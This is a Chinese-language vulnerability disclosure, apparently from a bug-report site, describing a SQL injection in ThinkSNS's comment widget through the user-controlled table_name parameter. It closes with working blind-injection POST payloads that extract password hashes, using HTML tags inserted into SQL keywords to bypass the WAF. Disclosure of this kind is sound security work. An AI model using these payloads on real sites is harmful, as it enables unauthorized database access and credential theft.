### 简要描述：
ThinkSNS漏洞系列第二弹，某处处理不当导致SQL注入
### 详细说明：
漏洞点出现在Comment Widget里：
\addons\widget\CommentWidget\CommentWidget.class.php:138
```
/**
* 添加评论的操作
*
* @return array 评论添加状态和提示信息
*/
public function addcomment() {
// 返回结果集默认值
$return = array (
'status' => 0,
'data' => L ( 'PUBLIC_CONCENT_IS_ERROR' )
);
// 获取接收数据
$data = $_POST;
// 安全过滤
foreach ( $data as $key => $val ) {
$data [$key] = t ( $data [$key] );
}
// 评论所属与评论内容
$data ['app'] = $data ['app_name'];
$data ['table'] = $data ['table_name'];
$data ['content'] = h ( $data ['content'] );
// 判断资源是否被删除
$dao = M ( $data ['table'] );
$idField = $dao->getPk ();
$map [$idField] = $data ['row_id'];
$sourceInfo = $dao->where ( $map )->find ();
if (! $sourceInfo) {
$return ['status'] = 0;
$return ['data'] = '内容已被删除，评论失败';
exit ( json_encode ( $return ) );
}
... ... ... ... ... ... ...
}
```
$_POST经过$data [$key] = t( $data [$key] )后成为$data。
然后$dao = M ( $data ['table'] )会实例化一个Model，用于接下来的操作：
\core\OpenSociax\functions.inc.php:431:
```
//D函数的别名
function M($name='',$app='@') {
return D($name,$app);
}
```
\core\OpenSociax\functions.inc.php:441:
```
/**
* D函数用于实例化Model
* @param string name Model名称
* @param string app Model所在项目
* @return object
*/
function D($name='', $app='@', $inclueCommonFunction=true) {
static $_model = array();
if(empty($name)) return new Model;
if(empty($app) || $app=='@') $app = APP_NAME;
$name = ucfirst($name);
if(isset($_model[$app.$name]))
return $_model[$app.$name];
$OriClassName = $name;
$className = $name.'Model';
//优先载入核心的 所以不要和核心的model重名
if(file_exists(ADDON_PATH.'/model/'.$className.'.class.php')){
tsload(ADDON_PATH.'/model/'.$className.'.class.php');
}elseif(file_exists(APPS_PATH.'/'.$app.'/Lib/Model/'.$className.'.class.php')){
$common = APPS_PATH.'/'.$app.'/Common/common.php';
if(file_exists($common) && $inclueCommonFunction){
tsload($common);
}
tsload(APPS_PATH.'/'.$app.'/Lib/Model/'.$className.'.class.php');
}
if(class_exists($className)) {
$model = new $className();
}else{
$model = new Model($name);
}
$_model[$app.$OriClassName] = $model;
return $model;
}
```
若\$className不存在，就实例化Model
\core\OpenSociax\Model.class.php:60
```
/**
* 架构函数
* 取得DB类的实例对象 字段检查
* @param string $name 模型名称
* @access public
*/
public function __construct($name='')
{
// 模型初始化
$this->_initialize();
// 获取模型名称
if(!empty($name)) {
$this->name = $name;
}elseif(empty($this->name)){
$this->name = $this->getModelName();
}
// 数据库初始化操作
// 获取数据库操作对象
// 当前模型有独立的数据库连接信息
$this->db = Db::getInstance(empty($this->connection)?'':$this->connection);
// 设置表前缀
$this->tablePrefix = $this->tablePrefix?$this->tablePrefix:C('DB_PREFIX');
$this->tableSuffix = $this->tableSuffix?$this->tableSuffix:C('DB_SUFFIX');
// 字段检测
if(!empty($this->name) && $this->autoCheckFields) $this->_checkTableInfo();
//TODO 临时强制要求
if(!empty($this->tableName) && empty($this->fields)) throw_exception('开发阶段,请为你的model填写fields!');
}
```
最后$this->name = $name将\$_POST['table_name']赋给Model实例的name属性里。
回到最初的addcomment函数，下一步就是用刚实例化的Model查找数据：
$sourceInfo = $dao->where ( $map )->find ()
在查找逻辑里，如果表名不存在，那么就使用name属性的值作表名，而name属性正是\$_POST['table_name']，漏洞就是表名可控。
\core\OpenSociax\Model.class.php:908:
```
/**
* 得到完整的数据表名
* @access public
* @return string
*/
public function getTableName()
{
if(empty($this->trueTableName)) {
$tableName = !empty($this->tablePrefix) ? $this->tablePrefix : '';
if(!empty($this->tableName)) {
$tableName .= $this->tableName;
}else{
$tableName .= parse_name($this->name);
}
$tableName .= !empty($this->tableSuffix) ? $this->tableSuffix : '';
if(!empty($this->dbName))
$tableName = $this->dbName.'.'.$tableName;
$this->trueTableName = strtolower($tableName);
}
return $this->trueTableName;
}
```
由于ThinkSNS前台有WAF，因此需要结合t()来绕过：
\core\OpenSociax\functions.inc.php:630
```
/**
* t函数用于过滤标签，输出没有html的干净的文本
* @param string text 文本内容
* @return string 处理后内容
*/
function t($text){
$text = nl2br($text);
$text = real_strip_tags($text);
$text = addslashes($text);
$text = trim($text);
return $text;
}
```
经过t()的变量都会过real_strip_tags($text)：
\core\OpenSociax\functions.inc.php:2274
```
function real_strip_tags($str, $allowable_tags="") {
$str = html_entity_decode($str,ENT_QUOTES,'UTF-8');
return strip_tags($str, $allowable_tags);
}
```
而real_strip_tags($text)里的strip_tags($str, $allowable_tags)会过滤掉tag，所以在SQL关键字中插入tag就能bypass waf，最后成为可以被利用的SQL注入。
### 漏洞证明：
直接基于内容的SQL注入就好，POST请求都要带上正确的referer。
```
POST /index.php?app=widget&mod=Comment&act=addcomment&uid=1
app_name=public&table_name=user w<a>here if((sel<a>ect asci<a>i(subst<a>ring(password,/**/1,1/**/)))>0,/**/1,0);-- -&content=test&row_id=1&app_detail_summary=
```
[<img src="https://images.seebug.org/upload/201411/02174024a9831daa6b6793c7374ada3ccab3463c.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/02174024a9831daa6b6793c7374ada3ccab3463c.jpg)
```
POST /index.php?app=widget&mod=Comment&act=addcomment&uid=1
app_name=public&table_name=user w<a>here if((sel<a>ect asci<a>i(subst<a>ring(password,/**/1,1/**/)))>100,/**/1,0);-- -&content=test&row_id=1&app_detail_summary=
```
[<img src="https://images.seebug.org/upload/201411/02174210f45450689b08dd67a978b83d10a2bb36.jpg" alt="3.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/02174210f45450689b08dd67a978b83d10a2bb36.jpg)
京公网安备 11010502034610号
暂无评论